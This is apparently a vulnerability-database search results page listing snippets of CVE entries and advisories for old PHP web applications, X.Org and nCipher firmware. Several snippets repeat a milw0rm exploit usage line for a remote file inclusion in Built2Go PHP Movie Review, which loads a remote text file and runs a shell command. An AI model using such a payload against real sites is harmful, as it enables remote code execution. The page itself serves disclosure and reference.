5307 matches found
CVE-2006-2618
Cross-site scripting XSS vulnerability in 1 AlstraSoft Web Host Directory 1.2, aka 2 HyperStop WebHost Directory 1.2, might allow remote attackers to inject arbitrary web script or HTML via the "write a review" box. NOTE: since user reviews do not require administrator privileges, and an...
Cross site scripting
Cross-site scripting XSS vulnerability in 1 AlstraSoft Web Host Directory 1.2, aka 2 HyperStop WebHost Directory 1.2, might allow remote attackers to inject arbitrary web script or HTML via the "write a review" box. NOTE: since user reviews do not require administrator privileges, and an...
CVE-2006-2618: Improper Neutralization of Input During Web Page Generation
Cross-site scripting XSS vulnerability in 1 AlstraSoft Web Host Directory 1.2, aka 2 HyperStop WebHost Directory 1.2, might allow remote attackers to inject arbitrary web script or HTML via the "write a review" box. NOTE: since user reviews do not require administrator privileges, and an...
AlstraSoft Web Host Directory v1.2
AlstraSoft Web Host Directory v1.2 Homepage: http://www.alstrasoft.com/ It should be noted too that the demo for this script is on a different domain which also sells a WebHost Directory which looks to be the same product/company called HyperStop WebHost Directory 1.2. Both scripts seem to be the...
CVE-2006-2008
PHP remote file inclusion vulnerability in moviecls.php in Built2Go PHP Movie Review 2B and earlier allows remote attackers to execute arbitrary PHP code via a URL in the fullpath parameter...
Remote file inclusion
PHP remote file inclusion vulnerability in moviecls.php in Built2Go PHP Movie Review 2B and earlier allows remote attackers to execute arbitrary PHP code via a URL in the fullpath parameter...
CVE-2006-2008
The CVE-2006-2008 issue affects Built2Go PHP Movie Review 2B and earlier, via PHP file movie_cls.php. The underlying flaw is a remote file inclusion vulnerability that allows an attacker to execute arbitrary PHP code by supplying a URL in the full_path parameter. References include historical adv...
EUVD-2006-2009
PHP remote file inclusion vulnerability in moviecls.php in Built2Go PHP Movie Review 2B and earlier allows remote attackers to execute arbitrary PHP code via a URL in the fullpath parameter...
[SA19749] built2go Movie Review "full_path" File Inclusion Vulnerability
TITLE: built2go Movie Review "fullpath" File Inclusion Vulnerability SECUNIA ADVISORY ID: SA19749 VERIFY ADVISORY: http://secunia.com/advisories/19749/ CRITICAL: Highly critical IMPACT: System access WHERE: From remote SOFTWARE: built2go Movie Review 1.x http://secunia.com/product/9515/...
CVE-2006-2008: Undefined Security Weakness
PHP remote file inclusion vulnerability in moviecls.php in Built2Go PHP Movie Review 2B and earlier allows remote attackers to execute arbitrary PHP code via a URL in the fullpath parameter...
Built2Go PHP Movie Review <= 2B Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications =================================================================== Built2Go PHP Movie Review = 2B Remote File Inclusion Vulnerability =================================================================== Built2Go PHP Movie Review =2B Remote...
Built2Go PHP Movie Review 2B - Remote File Inclusion
Built2Go PHP Movie Review 2B - Remote File Inclusion Built2Go PHP Movie Review =2B Remote File Inclusion Vulnerability in moviecls.php requireonce"$fullpath/reviewcls.php"; usage: http://www.site.com/path/moviecls.php?fullpath=http://www.site.com/x.txt?&cmd=uname -a milw0rm.com 2006-04-23...
Built2Go PHP Movie Review <= 2B Remote File Inclusion Vulnerability
No description provided by source. Built2Go PHP Movie Review =2B Remote File Inclusion Vulnerability in moviecls.php requireonce"$fullpath/reviewcls.php"; usage: http://www.site.com/path/moviecls.php?fullpath=http://www.site.com/x.txt?&cmd=uname -a milw0rm.com 2006-04-23...
Built2Go PHP Movie Review 2B - Remote File Inclusion
Built2Go PHP Movie Review =2B Remote File Inclusion Vulnerability in moviecls.php requireonce"$fullpath/reviewcls.php"; usage: http://www.site.com/path/moviecls.php?fullpath=http://www.site.com/x.txt?&cmd=uname -a milw0rm.com 2006-04-23...
For the new network domain name Management System Security reviews-exploits warning-the black bar safety net
It is well known, the new network users in China domain name registration industry, the proportion of the column is still very large. But I found a new web domain system, there exists a safety hazard. One day I From the agent the domain Control Panel login to the new network there, accidentally...
[CVE-2006-0745] X.Org Security Advisory: privilege escalation and DoS in X11R6.9, X11R7.0
X.Org Security Advisory, March 20th 2006 Local privilege escalation in X.Org server 1.0.0 and later; X11R6.9.0 and X11R7.0 CVE-ID: CVE-2006-0745 Overview: During the analysis of results from the Coverity code review of X.Org, we discovered a flaw in the server that allows local users to execute...
nCipher Advisory #14: Presence of flaws in firmware security
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 nCipher Security Advisory No. 14 Presence of flaws in firmware security -------------------------------------- Note ==== nCipher is publishing three advisories numbered 12, 13 and 14 simultaneously. You are advised to review all three before taking an...
CVE-2005-4413
Multiple cross-site scripting XSS vulnerabilities in sample scripts in IBM WebSphere Application Server 6 allow remote attackers to inject arbitrary web script or HTML via the 1 E-mail address field to a PlantsByWebSphere/login.jsp, 2 message field to b TechnologySample/BulletinBoard Script, 3...
CVE-2004-2132
PJ CGI Neo’s PJreview_Neo.cgi is affected by a directory traversal vulnerability that allows reading arbitrary files via a .. in the p parameter. This could enable reading local files on the web server with the web user’s privileges. The issue is documented in CVE-2004-2132 and is reflected in Ne...